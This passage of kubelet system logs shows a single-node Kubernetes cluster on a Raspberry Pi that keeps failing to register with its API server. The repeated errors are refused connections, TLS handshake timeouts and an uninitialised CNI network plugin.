kubernetes.io/host-path/98578eb479695566b995bf6ae33a05fe-flexvolume-dir\   pod \ kube-controller-manager-gernot-pi3\   uid: \ 98578eb479695566b995bf6ae33a05fe\  \r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.811506   11521 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ k8s-certs\   uniquename: \ kubernetes.io/host-path/98578eb479695566b995bf6ae33a05fe-k8s-certs\   pod \ kube-controller-manager-gernot-pi3\   uid: \ 98578eb479695566b995bf6ae33a05fe\  \r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.812153   11521 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ ca-certs\   uniquename: \ kubernetes.io/host-path/98578eb479695566b995bf6ae33a05fe-ca-certs\   pod \ kube-controller-manager-gernot-pi3\   uid: \ 98578eb479695566b995bf6ae33a05fe\  \r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.812918   11521 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ kubeconfig\   uniquename: \ kubernetes.io/host-path/98578eb479695566b995bf6ae33a05fe-kubeconfig\   pod \ kube-controller-manager-gernot-pi3\   uid: \ 98578eb479695566b995bf6ae33a05fe\  \r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.813603   11521 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ etcd-data\   uniquename: \ kubernetes.io/host-path/16846a2efbc5ef643330dac361a49ad0-etcd-data\   pod \ etcd-gernot-pi3\   uid: \ 16846a2efbc5ef643330dac361a49ad0\  \r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.825009   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : w0505 12:18:40.826821   11521 pod_container_deletor.go:77  container \ 43d64042b24260544bdbeef99daa6418264d0eb0cea1831d66390353fb7bad67\  not found in pod's containers\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.827277   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.841028   11521 kubelet_node_status.go:82  attempting to register node gernot-pi3\r may 05 12:18:40 gernot-pi3 kubelet 11521 : w0505 12:18:40.841326   11521 pod_container_deletor.go:77  container \ 4f5f4d03e5130ecbd72dc7aadb61bbcc4ee2dc0b906628af718b94cb1add48d9\  not found in pod's containers\r may 05 12:18:40 gernot-pi3 kubelet 11521 : e0505 12:18:40.843184   11521 kubelet_node_status.go:106  unable to register node \ gernot-pi3\  with api server: post https://192.168.1.123:6443/api/v1/nodes: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:41 gernot-pi3 kubelet 11521 : e0505 12:18:41.078875   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:41 gernot-pi3 kubelet 11521 : e0505 12:18:41.079489   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:41 gernot-pi3 kubelet 11521 : e0505 12:18:41.088751   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:42 gernot-pi3 kubelet 11521 : e0505 12:18:42.081054   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:42 gernot-pi3 kubelet 11521 : e0505 12:18:42.094326   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:42 gernot-pi3 kubelet 11521 : e0505 12:18:42.094326   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:42 gernot-pi3 kubelet 11521 : w0505 12:18:42.613622   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:18:42 gernot-pi3 kubelet 11521 : e0505 12:18:42.614474   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:18:43 gernot-pi3 kubelet 11521 : e0505 12:18:43.086944   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:43 gernot-pi3 kubelet 11521 : e0505 12:18:43.097537   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:43 gernot-pi3 kubelet 11521 : e0505 12:18:43.098424   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:44 gernot-pi3 kubelet 11521 : e0505 12:18:44.089145   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:44 gernot-pi3 kubelet 11521 : e0505 12:18:44.100520   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:44 gernot-pi3 kubelet 11521 : e0505 12:18:44.102022   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:44 gernot-pi3 kubelet 11521 : i0505 12:18:44.162972   11521 kuberuntime_manager.go:757  checking backoff for container \ etcd\  in pod \ etcd-gernot-pi3_kube-system 16846a2efbc5ef643330dac361a49ad0 \ \r may 05 12:18:44 gernot-pi3 kubelet 11521 : i0505 12:18:44.200772   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:44 gernot-pi3 kubelet 11521 : w0505 12:18:44.221561   11521 pod_container_deletor.go:77  container \ 4016a5100d10ed613e99cf40867eb9bcdb3ebf2de5a16cb8b3136f8bd75d2037\  not found in pod's containers\r may 05 12:18:45 gernot-pi3 kubelet 11521 : e0505 12:18:45.091647   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:45 gernot-pi3 kubelet 11521 : e0505 12:18:45.103374   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:45 gernot-pi3 kubelet 11521 : e0505 12:18:45.110457   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:45 gernot-pi3 kubelet 11521 : i0505 12:18:45.420544   11521 kuberuntime_manager.go:757  checking backoff for container \ kube-apiserver\  in pod \ kube-apiserver-gernot-pi3_kube-system 6761abf6cea6552c7b386552482c777c \ \r may 05 12:18:45 gernot-pi3 kubelet 11521 : i0505 12:18:45.582068   11521 kuberuntime_manager.go:757  checking backoff for container \ kube-scheduler\  in pod \ kube-scheduler-gernot-pi3_kube-system 75b1b9ab0f3a37601ee6e0a6c14cc1a7 \ \r may 05 12:18:45 gernot-pi3 kubelet 11521 : i0505 12:18:45.628157   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:45 gernot-pi3 kubelet 11521 : i0505 12:18:45.652593   11521 kuberuntime_manager.go:757  checking backoff for container \ kube-controller-manager\  in pod \ kube-controller-manager-gernot-pi3_kube-system 98578eb479695566b995bf6ae33a05fe \ \r may 05 12:18:45 gernot-pi3 kubelet 11521 : w0505 12:18:45.727478   11521 pod_container_deletor.go:77  container \ 08cd5ad797132db9f4cf24be9bba7caaf16ce9f00b638ab7774f47bd6e2e0e66\  not found in pod's containers\r may 05 12:18:46 gernot-pi3 kubelet 11521 : e0505 12:18:46.094090   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:46 gernot-pi3 kubelet 11521 : e0505 12:18:46.106238   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:46 gernot-pi3 kubelet 11521 : e0505 12:18:46.113468   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:46 gernot-pi3 kubelet 11521 : i0505 12:18:46.396246   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:46 gernot-pi3 kubelet 11521 : w0505 12:18:46.440936   11521 pod_container_deletor.go:77  container \ 486b62caad05feacd93f72550abb51336311b885702096103861b6a4319776ae\  not found in pod's containers\r may 05 12:18:46 gernot-pi3 kubelet 11521 : e0505 12:18:46.503939   11521 remote_runtime.go:278  containerstatus \ 93d8c69843774251f873077837883aecde7a10eed1a04234ba8b21307faed2de\  from runtime service failed: rpc error: code = unknown desc = error: no such container: 93d8c69843774251f873077837883aecde7a10eed1a04234ba8b21307faed2de\r may 05 12:18:46 gernot-pi3 kubelet 11521 : e0505 12:18:46.504281   11521 kuberuntime_container.go:385  containerstatus for 93d8c69843774251f873077837883aecde7a10eed1a04234ba8b21307faed2de error: rpc error: code = unknown desc = error: no such container: 93d8c69843774251f873077837883aecde7a10eed1a04234ba8b21307faed2de\r may 05 12:18:46 gernot-pi3 kubelet 11521 : e0505 12:18:46.504413   11521 kuberuntime_manager.go:873  getpodcontainerstatuses for pod \ kube-controller-manager-gernot-pi3_kube-system 98578eb479695566b995bf6ae33a05fe \  failed: rpc error: code = unknown desc = error: no such container: 93d8c69843774251f873077837883aecde7a10eed1a04234ba8b21307faed2de\r may 05 12:18:46 gernot-pi3 kubelet 11521 : e0505 12:18:46.504590   11521 generic.go:241  pleg: ignoring events for pod kube-controller-manager-gernot-pi3/kube-system: rpc error: code = unknown desc = error: no such container: 93d8c69843774251f873077837883aecde7a10eed1a04234ba8b21307faed2de\r may 05 12:18:47 gernot-pi3 kubelet 11521 : e0505 12:18:47.106022   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:47 gernot-pi3 kubelet 11521 : e0505 12:18:47.109389   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:47 gernot-pi3 kubelet 11521 : e0505 12:18:47.116041   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:47 gernot-pi3 kubelet 11521 : i0505 12:18:47.254028   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:47 gernot-pi3 kubelet 11521 : i0505 12:18:47.342428   11521 kubelet_node_status.go:82  attempting to register node gernot-pi3\r may 05 12:18:47 gernot-pi3 kubelet 11521 : e0505 12:18:47.396747   11521 kubelet_node_status.go:106  unable to register node \ gernot-pi3\  with api server: post https://192.168.1.123:6443/api/v1/nodes: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:47 gernot-pi3 kubelet 11521 : e0505 12:18:47.614104   11521 eviction_manager.go:246  eviction manager: failed to get get summary stats: failed to get node info: node \ gernot-pi3\  not found\r may 05 12:18:47 gernot-pi3 kubelet 11521 : w0505 12:18:47.632000   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:18:47 gernot-pi3 kubelet 11521 : e0505 12:18:47.633021   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:18:48 gernot-pi3 kubelet 11521 : e0505 12:18:48.109015   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:48 gernot-pi3 kubelet 11521 : e0505 12:18:48.119181   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:48 gernot-pi3 kubelet 11521 : e0505 12:18:48.119276   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:48 gernot-pi3 kubelet 11521 : i0505 12:18:48.134386   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:48 gernot-pi3 kubelet 11521 : w0505 12:18:48.181310   11521 status_manager.go:461  failed to get status for pod \ etcd-gernot-pi3_kube-system 16846a2efbc5ef643330dac361a49ad0 \ : get https://192.168.1.123:6443/api/v1/namespaces/kube-system/pods/etcd-gernot-pi3: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:48 gernot-pi3 kubelet 11521 : i0505 12:18:48.273330   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:48 gernot-pi3 kubelet 11521 : i0505 12:18:48.365791   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:49 gernot-pi3 kubelet 11521 : i0505 12:18:49.995996   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:50 gernot-pi3 kubelet 11521 : i0505 12:18:50.072496   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:50 gernot-pi3 kubelet 11521 : i0505 12:18:50.152310   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:50 gernot-pi3 kubelet 11521 : i0505 12:18:50.152323   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:51 gernot-pi3 kubelet 11521 : i0505 12:18:51.206504   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:51 gernot-pi3 kubelet 11521 : i0505 12:18:51.206503   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:51 gernot-pi3 kubelet 11521 : i0505 12:18:51.206504   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:52 gernot-pi3 kubelet 11521 : w0505 12:18:52.638276   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:18:52 gernot-pi3 kubelet 11521 : e0505 12:18:52.639098   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:18:54 gernot-pi3 kubelet 11521 : i0505 12:18:54.399361   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:54 gernot-pi3 kubelet 11521 : i0505 12:18:54.415831   11521 kubelet_node_status.go:82  attempting to register node gernot-pi3\r may 05 12:18:57 gernot-pi3 kubelet 11521 : e0505 12:18:57.614605   11521 eviction_manager.go:246  eviction manager: failed to get get summary stats: failed to get node info: node \ gernot-pi3\  not found\r may 05 12:18:57 gernot-pi3 kubelet 11521 : w0505 12:18:57.644029   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:18:57 gernot-pi3 kubelet 11521 : e0505 12:18:57.647301   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:18:58 gernot-pi3 kubelet 11521 : w0505 12:18:58.303712   11521 status_manager.go:461  failed to get status for pod \ kube-scheduler-gernot-pi3_kube-system 75b1b9ab0f3a37601ee6e0a6c14cc1a7 \ : get https://192.168.1.123:6443/api/v1/namespaces/kube-system/pods/kube-scheduler-gernot-pi3: net/http: tls handshake timeout\r may 05 12:18:59 gernot-pi3 kubelet 11521 : e0505 12:18:59.114419   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:18:59 gernot-pi3 kubelet 11521 : e0505 12:18:59.122839   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:18:59 gernot-pi3 kubelet 11521 : e0505 12:18:59.126590   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:18:59 gernot-pi3 kubelet 11521 : e0505 12:18:59.958393   11521 event.go:209  unable to write event: 'post https://192.168.1.123:6443/api/v1/namespaces/default/events: net/http: tls handshake timeout'  may retry after sleeping \r may 05 12:19:02 gernot-pi3 kubelet 11521 : w0505 12:19:02.654760   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:19:02 gernot-pi3 kubelet 11521 : e0505 12:19:02.655552   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:19:04 gernot-pi3 kubelet 11521 : e0505 12:19:04.418423   11521 kubelet_node_status.go:106  unable to register node \ gernot-pi3\  with api server: post https://192.168.1.123:6443/api/v1/nodes: net/http: tls handshake timeout\r may 05 12:19:07 gernot-pi3 kubelet 11521 : e0505 12:19:07.617408   11521 eviction_manager.go:246  eviction manager: failed to get get summary stats: failed to get node info: node \ gernot-pi3\  not found\r may 05 12:19:07 gernot-pi3 kubelet 11521 : w0505 12:19:07.660360   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:19:07 gernot-pi3 kubelet 11521 : e0505 12:19:07.661146   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:19:08 gernot-pi3 kubelet 11521 : w0505 12:19:08.308956   11521 status_manager.go:461  failed to get status for pod \ kube-apiserver-gernot-pi3_kube-system 6761abf6cea6552c7b386552482c777c \ : get https://192.168.1.123:6443/api/v1/namespaces/kube-system/pods/kube-apiserver-gernot-pi3: net/http: tls handshake timeout\r may 05 12:19:10 gernot-pi3 kubelet 11521 : e0505 12:19:10.120079   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:10 gernot-pi3 kubelet 11521 : e0505 12:19:10.125544   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:10 gernot-pi3 kubelet 11521 : e0505 12:19:10.131701   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:11 gernot-pi3 kubelet 11521 : i0505 12:19:11.418875   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:19:11 gernot-pi3 kubelet 11521 : i0505 12:19:11.436106   11521 kubelet_node_status.go:82  attempting to register node gernot-pi3\r may 05 12:19:12 gernot-pi3 kubelet 11521 : w0505 12:19:12.665644   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:19:12 gernot-pi3 kubelet 11521 : e0505 12:19:12.669211   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:19:17 gernot-pi3 kubelet 11521 : e0505 12:19:17.618058   11521 eviction_manager.go:246  eviction manager: failed to get get summary stats: failed to get node info: node \ gernot-pi3\  not found\r may 05 12:19:17 gernot-pi3 kubelet 11521 : w0505 12:19:17.673637   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:19:17 gernot-pi3 kubelet 11521 : e0505 12:19:17.674357   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:19:18 gernot-pi3 kubelet 11521 : w0505 12:19:18.312358   11521 status_manager.go:461  failed to get status for pod \ kube-controller-manager-gernot-pi3_kube-system 98578eb479695566b995bf6ae33a05fe \ : get https://192.168.1.123:6443/api/v1/namespaces/kube-system/pods/kube-controller-manager-gernot-pi3: net/http: tls handshake timeout\r may 05 12:19:19 gernot-pi3 kubelet 11521 : e0505 12:19:19.970832   11521 event.go:209  unable to write event: 'post https://192.168.1.123:6443/api/v1/namespaces/default/events: net/http: tls handshake timeout'  may retry after sleeping \r may 05 12:19:21 gernot-pi3 kubelet 11521 : e0505 12:19:21.135097   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:21 gernot-pi3 kubelet 11521 : e0505 12:19:21.155008   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:21 gernot-pi3 kubelet 11521 : e0505 12:19:21.155390   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:21 gernot-pi3 kubelet 11521 : e0505 12:19:21.438729   11521 kubelet_node_status.go:106  unable to register node \ gernot-pi3\  with api server: post https://192.168.1.123:6443/api/v1/nodes: net/http: tls handshake timeout\r may 05 12:19:22 gernot-pi3 kubelet 11521 : w0505 12:19:22.680261   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:19:22 gernot-pi3 kubelet 11521 : e0505 12:19:22.683698   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:19:27 gernot-pi3 kubelet 11521 : e0505 12:19:27.618769   11521 eviction_manager.go:246  eviction manager: failed to get get summary stats: failed to get node info: node \ gernot-pi3\  not found\r may 05 12:19:27 gernot-pi3 kubelet 11521 : w0505 12:19:27.690641   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:19:27 gernot-pi3 kubelet 11521 : e0505 12:19:27.691461   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:19:28 gernot-pi3 kubelet 11521 : i0505 12:19:28.443838   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:19:28 gernot-pi3 kubelet 11521 : i0505 12:19:28.515553   11521 kubelet_node_status.go:82  attempting to register node gernot-pi3\r may 05 12:19:32 gernot-pi3 kubelet 11521 : e0505 12:19:32.137922   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:32 gernot-pi3 kubelet 11521 : e0505 12:19:32.264874   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:32 gernot-pi3 kubelet 11521 : e0505 12:19:32.267865   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:32 gernot-pi3 kubelet 11521 : w0505 12:19:32.698987   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:19:32 gernot-pi3 kubelet 11521 : e0505 12:19:32.699802   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:19:37 gernot-pi3 kubelet 11521 : e0505 12:19:37.632122   11521 eviction_manager.go:246  eviction manager: failed to get get summary stats: failed to get node info: node \ gernot-pi3\  not found\r may 05 12:19:37 gernot-pi3 kubelet 11521 : w0505 12:19:37.707731   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:19:37 gernot-pi3 kubelet 11521 : e0505 12:19:37.716560   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:19:38 gernot-pi3 kubelet 11521 : e0505 12:19:38.545667   11521 kubelet_node_status.go:106  unable to register node \ gernot-pi3\  with api server: post https://192.168.1.123:6443/api/v1/nodes: net/http: tls handshake timeout\r may 05 12:19:39 gernot-pi3 kubelet 11521 : e0505 12:19:39.976116   11521 event.go:209  unable to write event: 'post https://192.168.1.123:6443/api/v1/namespaces/default/events: net/http: tls handshake timeout'  may retry after sleeping \r may 05 12:19:42 gernot-pi3 kubelet 11521 : w0505 12:19:42.739936   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:19:42 gernot-pi3 kubelet 11521 : e0505 12:19:42.743609   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:19:43 gernot-pi3 kubelet 11521 : e0505 12:19:43.143670   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:43 gernot-pi3 kubelet 11521 : e0505 12:19:43.269875   11521 reflector.go:205  